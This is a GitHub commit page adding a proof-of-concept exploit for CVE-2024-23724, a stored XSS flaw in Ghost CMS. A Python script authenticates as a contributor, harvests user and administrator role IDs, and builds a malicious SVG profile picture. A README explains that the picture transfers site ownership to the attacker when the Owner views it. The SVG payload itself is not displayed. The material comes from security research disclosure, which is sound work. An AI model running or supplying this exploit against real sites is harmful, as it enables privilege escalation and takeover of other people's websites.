Skip to content

Commit

Permalink
Merge pull request #11 from TeneBrae93/master
Browse files Browse the repository at this point in the history
  • Loading branch information
DaveYesland authored Feb 9, 2024
2 parents 1e689a5 + 1a541b9 commit 17f377c
Show file tree
Hide file tree
Showing 5 changed files with 229 additions and 0 deletions.
102 changes: 102 additions & 0 deletions CVE-2024-23724/CVE-2024-23724.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,102 @@
import requests
import argparse

# Set up argparse to accept command line arguments for username, password, and URL
parser = argparse.ArgumentParser(description='Automatically generates an SVG file as a proof-of-concept for CVE-2024-23724')
parser.add_argument('-u', '--username', required=True, type=str, help='Username for authentication')
parser.add_argument('-p', '--password', required=True, type=str, help='Password for authentication')
parser.add_argument('-t', '--target', required=True, type=str, help='Target URL for the Ghost API')
args = parser.parse_args()

# Base URL for the Ghost API
base_url = args.target

# URL for the authentication POST request
auth_url = f"{base_url}:3001/ghost/api/admin/session"

# Headers for the authentication request
auth_headers = {
"Content-Type": "application/json;charset=UTF-8",
"X-Ghost-Version": "5.75",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36",
"Accept": "text/plain, */*; q=0.01"
}

# Payload for the authentication request using command line arguments
auth_payload = {
"username": args.username,
"password": args.password
}

# Send the authentication POST request
auth_response = requests.post(auth_url, json=auth_payload, headers=auth_headers)

# Check if the authentication was successful and extract the cookie
if auth_response.status_code == 201 and 'Set-Cookie' in auth_response.headers:
set_cookie_header = auth_response.headers['Set-Cookie']
session_cookie = set_cookie_header.split(';')[0]
print("Session Cookie:", session_cookie)
else:
print("Failed to authenticate. Status code:", auth_response.status_code)
print("Response body:", auth_response.text)
exit()

# Step 2: Make the GET request using the obtained cookie

# URL for the GET request
get_url = "http://localhost:3001/ghost/api/admin/users/?include=roles"

# Headers for the GET request, including the session cookie
get_headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36",
"Content-Type": "application/json; charset=UTF-8",
"Accept": "application/json, text/javascript, */*; q=0.01",
"X-Ghost-Version": "5.75",
"Cookie": session_cookie
}

# Send the GET request
get_response = requests.get(get_url, headers=get_headers)

# Check if the GET request was successful
if get_response.status_code == 200:
try:
users_data = get_response.json()["users"]
# Find the user with the matching username
user_info = next((user for user in users_data if user["email"] == args.username), None)

# Find a user with the "Administrator" role to get the Role ID
admin_role_info = next((user for user in users_data if any(role['name'] == 'Administrator' for role in user['roles'])), None)
admin_role_id = admin_role_info['roles'][0]['id'] if admin_role_info else '[Admin-Role-ID]'

if user_info:
# Extract required user information
user_id = user_info["id"]
username = user_info["name"]
slug_name = user_info["slug"]
user_email = user_info["email"]

# Read the SVG template from a file
with open("boilerplate.svg", "r") as file:
svg_template = file.read()

# Replace placeholders in the SVG template
svg_output = svg_template.replace('[User-ID]', user_id)
svg_output = svg_output.replace('[User-Name]', username)
svg_output = svg_output.replace('[Slug-Name]', slug_name)
svg_output = svg_output.replace('[User-Email]', user_email)
svg_output = svg_output.replace('[Admin-Role-ID]', admin_role_id)

# Write the modified SVG to a new file
with open("tenant-takeover.svg", "w") as output_file:
output_file.write(svg_output)

print("SVG Code written to tenant-takeover.svg")
else:
print("User not found.")

except Exception as e:
print("Error processing the response or modifying the SVG:", e)
else:
print("GET Request failed. Status code:", get_response.status_code)
print("Response body:", get_response.text)
26 changes: 26 additions & 0 deletions CVE-2024-23724/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,26 @@
# CVE-2024-23724: Ghost CMS Stored XSS Leading to Owner Takeover

## Information
**Description:** Ghost CMS through 5.76.0 allows Stored XSS, and resultant privilege escalation in which a contributor can take ownership of the tenant, via an SVG profile picture that contains JavaScript code. <br>
**Versions Affected:** Confirmed on 5.76.0 but affects all versions <br>
**Version Fixed:** [Pull Request #19646](https://github.com/TryGhost/Ghost/pull/19646) (Open) <br>
**Researcher:** Tyler Ramsbey (https://youtube.com/@TylerRamsbey)
**Disclosure Link:** https://rhinosecuritylabs.com/blog/
**NIST CVE Link:** https://nvd.nist.gov/vuln/detail/CVE-2024-23724

## Proof-of-Concept Exploit
### Description
Ghost CMS is affected by Stored Cross-Site Scripting in users' profile pictures. An authenticated attacker with the lowest privileged role (contributor) can exploit this to become the Owner of the Ghost CMS instance, leading to full tenant and account takeover.

### Usage/Exploitation
`Usage: python3 CVE-2024-23724 -u <username> -p <password> -t <target_url>` <br>

![Alt-text that shows up on hover](poc.png)

This will output the malicious SVG file to upload as a profile picture. When this picture is viewed by the "Owner" of the tenant, it will transfer ownership to the attacker.

![Alt-text that shows up on hover](poc.gif)

## Unofficial Patch
### Description
The vendor does not view this as a valid vector so will not be releasing an official patch, but it’s important to us at Rhino to not release unpatched vulnerabilities. While this is a unique case, we’ve decided to make the patch ourselves which is available at https://github.com/TryGhost/Ghost/pull/19646.
101 changes: 101 additions & 0 deletions CVE-2024-23724/boilerplate.svg
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added CVE-2024-23724/poc.gif
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added CVE-2024-23724/poc.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.

0 comments on commit 17f377c

Please sign in to comment.